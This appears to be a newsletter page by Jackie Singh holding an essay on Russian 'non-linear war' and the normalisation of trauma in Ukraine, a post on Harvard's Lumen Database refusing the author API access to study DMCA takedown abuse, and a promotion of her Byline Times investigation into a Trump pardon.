Clearances are being revoked. Budgets are being slashed. The CVE program nearly died. Agencies are being gutted. The government pulled out of the industry’s own conference over a hiring decision. Conditions that once made silence feel like prudence are rapidly becoming conditions where silence feels like complicity.

I cannot tell you whether this community will recognize that shift in time. But the window in which inaction can be mistaken for neutrality is closing fast.

A War That Never Quite Starts or Ends

On March 12, 2014, as unmarked Russian soldiers tightened their grip on Crimea, Vladislav Surkov published a short story in the glossy Russian magazine Russky Pioneer. Writing under his pseudonym Natan Dubovitsky, the longtime Kremlin political operator imagined a future conflict he called “the first non-linear war,” where “four coalitions collided” and “it wasn’t two against two, or three against one. It was all against all.” Entire towns and generations changed sides mid-battle; alliances were fluid, motives opaque.

The story appeared on March 12, two weeks after Russian forces seized Crimean airports and surrounded Ukrainian bases, and as soldiers without insignia were replacing local television channels with Russian programming across the peninsula. No war was ever declared. Surkov’s narrator calls the fighting “part of a process,” but not necessarily its most important part.

Moscow thinks about conflict in much the same way.

Since then, journalists and filmmakers (myself included) have treated “non-linear war” as a skeleton key to contemporary Russian strategy. Peter Pomerantsev read Surkov’s fiction alongside his real-world media work, describing a system in which “nothing is true and everything is possible.” Adam Curtis went further in his 2016 BBC film HyperNormalisation, arguing that Surkov’s approach focuses less on battlefield victory than on producing “a constant state of destabilized perception” in which people can be managed because they can no longer tell what is real.

Not every Russia specialist accepts the story as a literal doctrinal blueprint; Surkov was also playing with avant-garde literary and artistic traditions. As a description of how power can operate, though, the story is brutally clear.

Non-linear war breaks things and redraws borders; it does something else, too. It reshapes what entire societies come to regard as ordinary. Shock follows shock. Information floods every channel. People adapt because they have no choice, and their adaptation becomes raw material for the next round of operations. That cycle functions like a ratchet. Each turn makes the next one easier.

Once the ratchet clicks forward, it becomes difficult to push back.

Phase One: Blurred Thresholds

Well before Surkov put the phrase “non-linear war” into print, Russian officers were questioning the old boundary between war and peace. In a 2013 article in the journal Military-Industrial Courier, General Valery Gerasimov, Russia’s chief of the general staff, wrote that “the very ‘rules of war’ have changed” and that non-military means of achieving political and strategic goals had in many cases “exceeded the power of force of weapons” in their impact. He pointed to social media, information campaigns, covert support to opposition forces, and economic pressure as tools that could soften a target state long before tanks crossed any border. An English translation of the article was later published in Military Review.

Western commentators soon labeled this apparent synthesis the “Gerasimov Doctrine.” Mark Galeotti, the analyst who coined that phrase in 2014, has since written in Foreign Policy for what he says he launched “incautiously and unintentionally,” arguing there is no single doctrine so much as a set of evolving practices and improvisations. The name stuck anyway because it partly captured a change that extended beyond Russia: the rise of conflict fought through a dense mix of military, informational, economic, and legal tools that rarely triggers formal declarations of war.

No clean line separates war from peace in this environment.

Disinformation campaigns muddy public debate. Cyber operations shut down services. Economic pressure spikes prices or wipes out savings. Sporadic kinetic attacks kill and injure far from any defined front. Christopher Paul and Miriam Matthews, in a 2016 RAND Corporation report, called the Russian approach a “firehose of falsehood.” The output is high-volume, multichannel, repetitive, and unconcerned with internal consistency. The goal isn’t to get anyone to believe a particular story. Flood the zone with enough contradictory versions and people stop trying to sort them out.

NATO’s Allied Command Transformation has formalized part of this shift under the label “cognitive warfare.” In its working definition, cognitive warfare consists of activities coordinated with other “instruments of power” in order to influence, protect, or disrupt cognition at the level of individuals, groups, or entire populations. The focus lies less on particular opinions than on the processes people use to form them. A 2024 analysis of the NATO concept published in Frontiers in Political Science notes that cognitive attacks are conceptualized to “hinder decision-making processes, erode national or institutional unity, sow societal division, exploit identities and narratives, and undermine the resolve to engage in conflict.”

When those cognitive processes are overloaded, manipulated, or numbed, the rest of the playbook becomes easier to run.

Phase Two: Layered Shock and Cognitive Overload

Once that blurred threshold is in place, the next move is to subject the population to a mixture of physical and psychological shocks, often far from any traditional front. Those shocks travel through media, markets, and digital infrastructure as readily as artillery barrages.

Ukraine, now entering its fourth year under full-scale Russian attack, offers an unusually well-documented example. A WHO-supported health needs assessment conducted in October 2024 estimated that 68 percent of Ukrainians report a decline in overall health compared to the pre-war period. Mental health concerns are the most prevalent issue, affecting 46 percent of the population, followed by mental health disorders at 41 percent and neurological conditions at 39 percent. Among combat-exposed soldiers in clinical settings, one recent study reported PTSD in 45.9 percent of patients and Complex PTSD in 21.5 percent.

The war’s physical toll runs alongside this psychological damage. CARE International has documented how civilian casualties rose sharply again in 2025 after a brief plateau, with 2,514 people killed and 12,142 injured in that year alone, a 31 percent increase in deaths compared to 2024. Many of those harmed were struck far from any trench or fortified line, as cruise missiles and drones hit apartment blocks, electricity infrastructure, and medical facilities.

At the same time, Russian and pro-Russian information operations batter domestic and international publics with competing narratives about who is responsible for particular atrocities, whether Ukraine is a “Nazi” state, and whether Western support is prolonging the fighting. Research on the firehose model notes that audiences exposed to such campaigns are more likely to remember the messages and less likely to engage in fact-checking, even when warned about disinformation in advance.

A 2025 report by the British Institute for Security Innovation on AI-driven information warfare describes the end state of this process as “epistemic learned helplessness”: a condition in which people stop trying to evaluate claims because the cognitive cost of constant vigilance has become intolerable. Missile strikes, blackouts, deepfake videos, currency shocks: each of those on its own is destabilizing.

Taken together, and repeated over time, they create a background of crisis.

Phase Three: Defensive Normalization

As an Iraq veteran, I am intimately aware with the messy fact that human beings cannot live indefinitely at full alert. When faced with chronic emergency, they will find ways to normalize it as a type of coping mechanism.

War speeds this up and makes it uglier.

Alexei Yurchak called this “hypernormalization.” In his 2005 book Everything Was Forever, Until It Was No More, he described how late-Soviet citizens knew the official story was a lie, but collectively maintained it because nothing else seemed workable. Daily life carried on inside a shared fiction that nobody believed and nobody could replace. Curtis took Yurchak’s framework and ran with it in his 2016 documentary. His argument was that Western publics had arrived at their own version of the same problem. People could see that politics and media were stage-managed. They kept participating anyway, because no alternative script was on offer.

Ukrainians near the front describe sleeping in their clothes so they can grab their children and run to shelters at any hour. Workers plan commutes around likely missile timings. People say they have gotten used to the sound of drones overhead and streets without lights. CARE found that over 70 percent of adults in frontline regions experience depression or severe anxiety, but many frame their condition as just “being tired” or “living normally in war.”

The research on media consumption and collective trauma tells a related story. A three-year longitudinal study published in Science Advances by Thompson, Jones, Holman, and Silver found that people who consumed heavy media coverage of the Boston Marathon bombings experienced more distress and consumed more media after the Pulse nightclub massacre, feeding a cycle that compounded with each new event. Susan Moeller documented the same pattern at a broader scale in her 1999 book Compassion Fatigue: once a conflict becomes a permanent fixture of the news cycle, audiences stop absorbing its daily horrors, even as the killing continues. Over time, the outrage fades into background noise.

From a non-linear operator’s perspective, that shift from alarm to numbness isn’t a side effect or collateral damage, it’s usable ground.

A win, if you will.

Phase Four: Memory, Narrative, and the New Normal

Normalization isn’t a phenomenon limited to individual minds. It is structured by institutions, stories, and the law.

Dr. Edna Lomsky-Feder interviewed Israeli soldiers from different wars about how they remembered combat. What she found was that societies actively rework traumatic memories through official ceremonies, films, school curricula, and family stories, gradually redefining what counts as “normal” in wartime. She calls this the “normalization of war.” Heroic, critical, and resilience narratives compete with one another, but the net effect is domestication: intense war experiences get folded into personal biography as expected, even routine.

A similar logic runs through Russian political life. A study of collective trauma and populism in Russia and Georgia, presented by Jana Javakhishvili and published by the Vilnius Institute for Policy Analysis, argues that unprocessed historical trauma, from Stalinist terror to the collapse of the Soviet Union, has been repurposed by elites into a sense of permanent grievance and siege. The Putin system, in this account, built its legitimacy on a “substitutive trauma”: the loss of empire. That loss is continually rehearsed in media and politics, producing a public encouraged to experience present events as proof that enemies are everywhere and that only a strong leader can keep chaos at bay.

On the receiving end of non-linear campaigns, something different but related unfolds. Therapists and researchers who have written about the “weaponization of collective trauma” described patients who experienced political news as a form of re-traumatization. Constant exposure to outrages and scandals, amplified by algorithmic feeds, keeps the amygdala on high alert. Those affected report difficulty distinguishing real from perceived threats, a collapse of nuance into black-and-white thinking, and “trauma-bonding” within political tribes that makes cross-cutting conversation nearly impossible.

Pomerantsev’s account of Russia in Nothing Is True and Everything Is Possible feels like an extreme version of this condition: a country where reality TV, state propaganda, and organized crime blur into one spectacle, and “surreal” events are the daily rule and not exceptions. Under non-linear pressure, target societies can drift toward a similar terrain without consciously copying that model because the mechanisms producing it— namely, constant crisis, unresolved trauma, and saturated media— are highly familiar.

Phase Five: Institutions Adapt, Then Entrench

Once crisis becomes routine, institutions change shape to cope with it. Those changes can easily harden into a new status quo.

On the humanitarian and medical side, Ukraine now has a rapidly expanding mental health and rehabilitation sector. The World Health Organization and national partners warn that demand for trauma care, psychosocial support, and physical rehabilitation is rising faster than services can be built out, and that those needs will persist for decades after the fighting stops. Physicians for Human Rights and its partners have documented at least 2,591 attacks on Ukraine’s health care system since the start of the full-scale invasion, with 359 health workers killed and 379 injured.

In parallel, Ukraine’s Ministry of Veterans Affairs and civil society organizations are racing to design long-term programs for reintegration, employment, and family support for hundreds of thousands of current and former combatants.

Security institutions have their own transformation under way.

States targeted by non-linear campaigns are now pouring resources into counter-disinformation units, cyber defense agencies, and strategic communications teams. NATO’s cognitive warfare concept papers read partly as a warning and partly as a bureaucratic blueprint: they call for education programs to build “cognitive resilience,” technical systems to detect and flag manipulative content, and coordination mechanisms that treat the information space as a theater of operations in its own right. A senior NATO official confirmed in October 2025 that “hybrid warfare has begun” and that the alliance was investing heavily in preparing for it.

These adaptations are essential for survival in the short and medium term. They also risk baking the emergency into law and policy. Exceptional powers become permanent fixtures. Surveillance measures introduced to counter one wave of disinformation or terror attacks stay in place for the next. Budget lines and career paths depend on the persistence of threat. Once a state apparatus has reorganized itself around managing non-linear conflict, officials have strong incentives to see that conflict everywhere.

Russian doctrine of reflexive control sits upstream of this institutional picture. The basic idea, developed by Soviet mathematician Vladimir Lefebvre in the 1960s and refined since, is to influence an adversary’s choices by shaping its perception of reality so that it “voluntarily” selects the option most favorable to Moscow. Rather than telling an enemy what to do, the operator feeds it information that leads its own decision-making processes to the desired conclusion. Finnish analyst Antti Vasara describes multi-channel campaigns that aim at the public as well as the command-and-control systems of target states in a bid to force them to misread situations and misallocate resources.

A population and a bureaucracy already conditioned to see permanent crisis are easier to steer with these techniques. When everything looks like an attack, officials can be nudged toward overreaction or paralysis with relatively small pushes.

Phase Six: The Ratchet Turns

Once blurred thresholds, layered shocks, defensive normalization, social reconstruction, and institutional adaptation are in place, the environment itself becomes a weapon. Each new operation lands on a society that has already been pushed closer to the edge.

The Thompson et al. study in Science Advances found that people who consumed more media coverage of one collective trauma experienced more stress and fear about the next, creating a feedback loop of anxiety and information-seeking that compounded with each event. King’s College London’s multi-country Impact of Trauma Survey, part of the XCEPT research programme, is probing a related dynamic in Iraq, Lebanon, and South Sudan: in some settings, those who experience severe conflict trauma are more likely to engage in violence themselves, contributing to a “cycle of violence” that spans generations.

In non-linear conflict, each new missile barrage, cyber intrusion, or disinformation wave is calibrated against the current baseline. It doesn’t need to exceed the last one in magnitude. It simply has to differ enough to break through whatever people have managed to normalize. A strike on pediatric wards after months of nighttime attacks on power stations; a deepfake of a leader “surrendering” after months of more conventional propaganda; a banking panic after a year of physical bombardment.

Each re-teaches the lesson that nothing is stable.

Gerasimov’s 2013 article is often quoted for a line about how a “perfectly thriving state” can, in a matter of days or months, be turned into “an arena of fierce armed conflict” and “sink into a web of chaos, humanitarian catastrophe, and civil war.” Read narrowly, that sentence describes rapid regime change. Read in light of a decade of Russian practice, it reads more like a statement of long-term intent to keep adversary societies hovering on the edge of breakdown.

Never quite collapsing, and never quite recovering.

In Ukraine, that edge is visible in both statistics and daily life. Civilian casualties rose by roughly a third in 2025 despite improved air defenses. According to the WHO, attacks on healthcare facilities increased by nearly 20 percent that year, further straining an already overloaded system. Among respondents in frontline areas, 59 percent reported their health as poor or very poor in a December 2025 assessment. Clinicians warn that untreated PTSD and depression will shape politics, crime, and social cohesion for years after any ceasefire.

This is what it looks like when trauma functions as infrastructure.

Strategic Implications

Policy responses tend to focus on the most visible elements of non-linear war: sanctions, arms deliveries, cyber defense, high-profile fact-checking of viral lies. Those are necessary, but they address only pieces of the cycle.

The deeper problem is, as I’ve alluded, both epistemic and psychological.

Once a population has been pushed toward learned helplessness and people feel it no longer matters what is true, traditional tools of democratic politics lose much of their force. A press conference correcting a false claim lands differently on an audience that has essentially given up on verification. A human rights report documenting atrocities carries far less impact if readers have spent years cycling between outrage and numbness.

That RAND study on the firehose of falsehood concludes that after-the-fact debunking is rarely effective. It recommends preemptive inoculation through warning audiences about manipulative techniques before they encounter them, saturating the same channels with accurate information, and, where possible, working to curb the reach of the most aggressive propagandists— defensive maneuvers they work hard to convince populations are a threat to everyone’s free speech. NATO concept papers on cognitive warfare argue for building “cognitive resilience” through education, media literacy, and institutional reforms that improve transparency and trust.

Those moves are sound as far as they go, but still tend to treat trauma and normalization as side effects rather than engineered outcomes. A strategy that takes the ratchet seriously needs to work on several fronts at once:

• Shorten exposure by hardening infrastructure and improving defenses so populations spend less time under active attack.

• Expand care by treating mental health and social repair as central elements of security policy (not afterthoughts!)

• Constrain emergency powers with clear sunsets and oversight to prevent a crisis mindset from hardening into permanent law.

• Support alternative narratives that acknowledge trauma without turning it into a tool of mobilization or denial.

This isn’t about “winning the information war” in some narrow sense; it’s more a question of whether democracies can sustain the conditions (e.g. trust, shared reality, a sense of future) that make politics something other than an exercise in managing a frightened and exhausted public.

In Surkov’s story “Without Sky,” the narrator suffers a brain injury that leaves him unable to perceive depth. He can see only two dimensions, only “yes” and “no,” only black and white. The loss of dimensionality is his private tragedy which doubles as metaphor for something larger. Non-linear warfare aims at flattening a society’s perception in just this way, until people lose the ability to imagine that life could be structured on any terms other than permanent crisis.

Once that perception takes hold, the ratchet doesn’t unwind itself.

Just over a week ago on a February afternoon, I found myself browsing yet another set of odd-looking DMCA notices when I decided to ask Lumen Database for an API key to access their database.

An API key is essentially a researcher login for software; a credential that lets you automatically query large volumes of data instead of clicking through individual records by hand. In my email, I described a straightforward project: examine how one prolific sender of DMCA and related takedown notices might be using copyright law to target lawful reporting and public‑interest speech.

The outputs, I wrote, would be “public, written journalism and analysis,” and I signed it with my name and publication.

Lumen replied the following morning that my “plans and outputs do not align with Lumen’s current goals and mission” and declined access, then ignored a follow‑up request to explain that contradiction.

Lumen’s official account follows me on Twitter, which makes it hard to argue this was an anonymous or context‑free request from a stranger they knew nothing about.

Because Lumen says it exists to document the censorship machinery that operates through legal threats, walling off deeper access to that machinery isn’t a neutral administrative act.

It’s a choice with real consequences for accountability.

The transparency project that gets to say no

Lumen is a project of Harvard’s Berkman Klein Center, which describes it as collecting and studying online content‑removal requests “providing transparency and supporting analysis of the Web’s takedown ‘ecology.’”

UNESCO’s profile summarizes Lumen’s purpose as promoting transparency about “who sends and receives these notices, why, and what online content they refer to,” and facilitating research on “both legitimate and questionable” complaints. The database is populated by voluntary contributions from companies such as Google, Twitter, and YouTube.

On its Researchers page and in its API terms, Lumen tells the world that it generally issues researcher credentials to people or non‑profits planning “journalistic, academic, or legislative & regulatory policy‑focused public written research outputs,” explicitly naming news articles, journal pieces, and white papers as acceptable outputs.

Independent researchers are explicitly eligible; the terms define a “Researcher” as anyone using the API for such a purpose, whether institutionally affiliated or not.

The same API terms contain a sweeping escape hatch: “Lumen reserves the right to deny or refuse to grant API access for any reason.” There is no described public appeal process in those terms, no obligation to provide a reason, and no published statistics on who is refused.

Lumen did not respond to my follow‑up email explaining I was writing a story about their organization and asking for comment on how my “described plans and outputs do not align with Lumen’s current goals and mission.”

A textbook fit (on paper)

Put Lumen’s public description next to the project it declined and the alignment appears perfect. Lumen says it wants to document the “ecology” of online removal requests: who sends them, why, and to what effect.

I proposed to:

• Map the takedown activity of one frequent submitter over time and across platforms and targets

• Evaluate how often that entity’s notices appear overbroad, retaliatory, or aimed at lawful reporting and commentary

• Examine which topics, individuals, or organizations are most frequently targeted, and whether notices cluster around particular events or critical coverage

The outputs would be public journalism and analysis, with clear methodological notes about how Lumen data were used and my expressed willingness to follow any preferred citation or data‑handling practices.

Those are precisely the kinds of “journalistic” outputs Lumen cites when defining acceptable research purposes in its API terms. I was able to find various external descriptions of Lumen reinforcing that same expectation.

Bellingcat’s online investigations toolkit describes Lumen as a Harvard‑affiliated research database of “legal complaints and content‑removal requests (e.g., DMCA, defamation, court orders)” and explains how researchers can use it as part of large‑scale investigations. Based on Bellingcat’s understanding and Lumen’s own docs, their API access is meant for just the sort of systematic pattern analysis that my proposed work needed.

Lumen’s refusal, then, was not simply a matter of limited resources or some ill‑fitting use case. On the public record, my project’s aims sit squarely inside the organization’s announced remit.

The gap lies in how Lumen currently defines its “goals and mission” in practice, and who exactly is allowed to test the limits of abusive notice‑sending.

When a transparency archive narrows the aperture

This is not the first time observers have questioned whether Lumen’s operational choices match its transparency rhetoric.

In 2020, TorrentFreak reported that Lumen had removed precise URLs from public copies of DMCA notices, replacing them with domain‑level information and requiring users to enter an email address to receive a single‑use link to view full details. The outlet, which called Lumen “an essential tool for researchers and reporters interested in the cease‑and‑desist landscape,” warned that “reduced access will probably be disappointing for some,” and noted that the new hoops “place obstacles in the way of legitimate research and accountability.”

Lumen project manager Adam Holland told TorrentFreak the changes were meant to keep Lumen a “vibrant and valuable feature…for research, journalism, and public awareness around takedown requests” while addressing concerns about people using the database as a directory of infringing links and reducing staff workload. In his account, the research community’s experience would remain “in no way” compromised.

Even some copyright‑enforcement professionals were uneasy. A representative from an anti‑piracy company told TorrentFreak that while his clients welcomed less visibility for infringing URLs, he shared “the concerns of those who may feel that this places obstacles in the way of legitimate research and accountability.”

A pattern appears:

• Lumen and its institutional home present the project as a neutral infrastructure for transparency and research on legal threats to speech.

• To manage internal workload and external sensitivities, they narrow public access and route serious work through privileged channels such as researcher logins and API keys.

• Those privileged channels are themselves controlled by opaque, discretionary access decisions with no external oversight.

An unexplained denial of API access to a journalist scrutinizing one particularly prolific takedown sender is a sharper expression of the same dynamic.

Additional denials may have occurred of which the public is not yet aware.

The quiet power to shape which abuses are visible

The stakes are concrete. Fraudulent and retaliatory takedown campaigns have become a quiet but effective tool for reputation management and suppression of critical reporting under the banner of the DMCA.

A 2024 analysis by Tax Policy Associates titled “The epidemic of fraudulent DMCA takedowns” described an “invisible campaign to censor the internet” through bogus copyright notices, especially those sent to Google, aimed at burying investigative or critical articles in search results. Drawing on Lumen data, the author detailed networks of shell companies and fake media entities submitting near‑identical DMCA complaints to remove unflattering coverage of tax disputes, political figures, and alleged misconduct.

Journalist Mike Masnick, writing at Techdirt, has likewise documented “fake entities…still abusing the DMCA takedown process” to scrub factual reporting, using Lumen entries to trace clusters of notices tied to a reputation‑laundering operation built around a string of invented “Media Corporation” brands. Another analysis at Walled Culture showed how backdated copies of articles are used to generate fraudulent notices that convince platforms to remove the original investigative pieces.

These investigations make one thing clear: Lumen’s archive is not just a passive record. It is often the only way to spot repetition and coordination across platforms that individual transparency reports, or scattered notices, will never reveal.

Other observers treat Lumen as central infrastructure. The Canadian think tank CIGI, in its report “Weaponizing Privacy and Copyright Law for Censorship”, points to the role of databases like Lumen in tracking censorship‑adjacent use of copyright and privacy law.

Google itself, in its About Lumen documentation, explains that it contributes certain legal removal requests to the project, and describes Lumen as a Harvard‑based initiative that “collects and analyzes legal complaints and requests for removal of online materials.” Google explicitly links that sharing to goals of transparency and public oversight of content removal.

That privileged position comes with quiet, unreviewable power. By controlling scalable access to the underlying data, Lumen can determine which journalists and researchers can efficiently test powerful actors’ use of copyright, defamation, or court orders to scrub the public record.

Lumen’s own notice‑information page explains that some information is restricted to researchers and that fields, including URLs, may appear as redacted for the general public. After the 2020 changes, full notice details are often available only through email‑gated single‑use links. The web interface allows viewing one complete notice at a time and running basic keyword searches, but trying to map a prolific sender’s behavior that way is effectively research via pipette.

From the public record, the structure looks like this:

[ Notice Senders ]
      │
      │  (DMCA, defamation, court orders, other takedown requests)
      ▼
[ Platforms / Intermediaries ]
      │
      │  (Some or all notices forwarded for "transparency" [CYA])
      ▼
[ Lumen Database ]
      │
      │  Public web interface
      │     (Single-notice, email-gated access for full details)
      │
      └───► [ API Access ]
              │
              │  (Sranted or denied at Lumen's discretion)
              ▼
     [ Researchers / Journalists ]

When those gatekeepers quietly decline, without explanation, the chill is subtle but real. The path of least resistance is to focus on aggregated trends or generic “DMCA abuse,” not on how a particular company, law firm, or political actor is exploiting the system.

Lumen’s silence on my request for clarification leaves open uncomfortable questions that belong in the public record.

Why this should matter to policymakers and platforms

For policymakers and platforms that tout transparency as a partial answer to overbroad content removal, Lumen’s access posture raises several uncomfortable implications.

First, if governments and companies point to Lumen as proof of accountability while Lumen quietly controls who can conduct serious analysis, transparency becomes a talking point rather than a practice. UNESCO’s treatment of Lumen in its World Trends in Freedom of Expression materials underscores its perceived role as a public good in the media freedom ecosystem. That status is undermined if its most powerful analytical tools are selectively withheld from independent scrutiny.

Second, platforms like Google that highlight their participation in Lumen in transparency materials should be pressed on whether they are comfortable with an arrangement in which the primary public archive of their legal notices is not meaningfully accountable to the wider research and journalism community. If Lumen’s access decisions systematically or even sporadically shield high‑volume senders from investigation, platforms are implicated in that outcome.

Third, legislators considering reforms to notice‑and‑takedown regimes should recognize that “transparency” is not binary. A database can exist, be technically public, and be cited in policy debates while still being organized in ways that frustrate the very investigations it is meant to enable. Access design is policy.

Finally, there is a deeper structural question: should a single, privately governed institution occupy such a central position in documenting legal threats to online speech? Work on open data and research access has highlighted how opaque refusals can undercut the public interest even when framed as responsible stewardship. Lumen’s trajectory and practices deserve the same level of critical scrutiny that it has so usefully allowed researchers to apply to everyone else.

What is already clear is this: a project widely treated as the public’s telescope into the world of legal takedown threats is also the gatekeeper to that telescope’s highest‑powered lens. When that gatekeeper quietly tells a researcher her plans no longer fit its mission, and declines to explain why, the story isn’t about a single denied API key, or that researcher’s annoyance at the denial.

It’s about who gets to study censorship, and on whose terms.

Get 25% off for 1 year

That’s because for the last few weeks, I’ve been tracking a story that was too sensitive, and frankly too dangerous, to publish without the backing of a major institutional partner.

I needed an outlet that wouldn’t blink when the names “Trump,” “Putin,” and “FBI” appeared in the same paragraph. I needed a publisher that regards being sanctioned by the Russian Federation as a badge of honor, not a legal liability.

That is why my new investigation, “Trump Pardon Buries FBI’s Secret Work for Putin’s Oligarchs,” is the lead exclusive story today in Byline Times.

The Investigation

We discovered that President Trump’s recent pardon of former FBI agent Mark Rossini wasn’t just a favor—it was a burial.

• The Money: I tracked $3.5 million in donations to a Trump-aligned Super PACsfrom the family of Rossini’s co-defendant.

• The Cover-up: We explain how the defense may have used “graymail”—threatening to expose national security secrets in open court—to force the DOJ to crumble.

• The Result: The pardon didn’t just free a man; it permanently sealed the records of what US intelligence officials were secretly doing for sanctioned Russian networks.

Writing for Byline Times allowed me to document this complex “graymail” legal maneuver with the rigor it demands. Their editors and legal team are fearless, and they are one of the few outlets left willing to print the uncomfortable truth about the intersection of oligarch money and American justice.

Please read the full investigation here: https://bylinetimes.com/2026/02/11/trump-pardon-buries-fbis-secret-work-for-putins-oligarchs

Thank you for supporting Hacking, but Legal. It was your support that funded this investigation, and Byline Times that fearlessly gave it a home. If you want to support more reporting on what the papers don't say, please consider subscribing.

Best,
Jackie Singh

Get 25% off for 1 year